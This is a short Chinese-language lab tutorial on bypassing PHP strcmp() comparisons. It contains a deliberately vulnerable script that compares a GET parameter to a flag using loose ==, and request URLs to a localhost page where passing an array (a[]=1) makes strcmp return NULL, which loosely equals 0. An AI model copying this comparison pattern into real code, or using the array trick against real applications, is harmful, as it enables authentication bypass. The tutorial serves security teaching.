前置知识
strcmp() 函数比较两个字符串。
注释:strcmp() 函数是二进制安全的,且对大小写敏感。
| 返回值: | 本函数返回: - 0 - 如果两个字符串相等 - <0 - 如果 _string1_ 小于 _string2_ - >0 - 如果 string1 大于 string2 |
|---|---|
| PHP 版本: | 4+ |
当这个函数接收到不符合的类型,这个函数将发生错误,在5.3之前的php中,显示了报错的警告信息后,将返回0,在5.3之后的版本传入数组的话就会返回NULL。
漏洞测试代码
<?php$flag = "flag";if (isset($_GET['a'])) {var_dump(strcmp($_GET['a'], $flag));if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';}?>
漏洞复现
- 发送以下任意请求,均可拿到flag
http://127.0.0.1/php/06%20strcmp%E6%AF%94%E8%BE%83%E5%AD%97%E7%AC%A6%E4%B8%B2.php?a[]=1或者http://127.0.0.1/php/06%20strcmp%E6%AF%94%E8%BE%83%E5%AD%97%E7%AC%A6%E4%B8%B2.php?a=flag
漏洞分析
想要拿到flag需要满足两个条件,第一个条件isset($_GET[‘a’),第二个条件strcmp($_GET[‘a’], $flag) == 0。第一个条件简单,只要get一个a参数就可以满足,第二个条件strcmp函数比较参数a与$flag是否相同,只要相同就可以拿到flag,最简单的做法是a=flag。但这里其实考察的不是这个,当strcmp接收到数组内容时讲报错并返回null,null ==0是成立的,所以只要传入数组(a[]=1)则可以满足第二个条件。
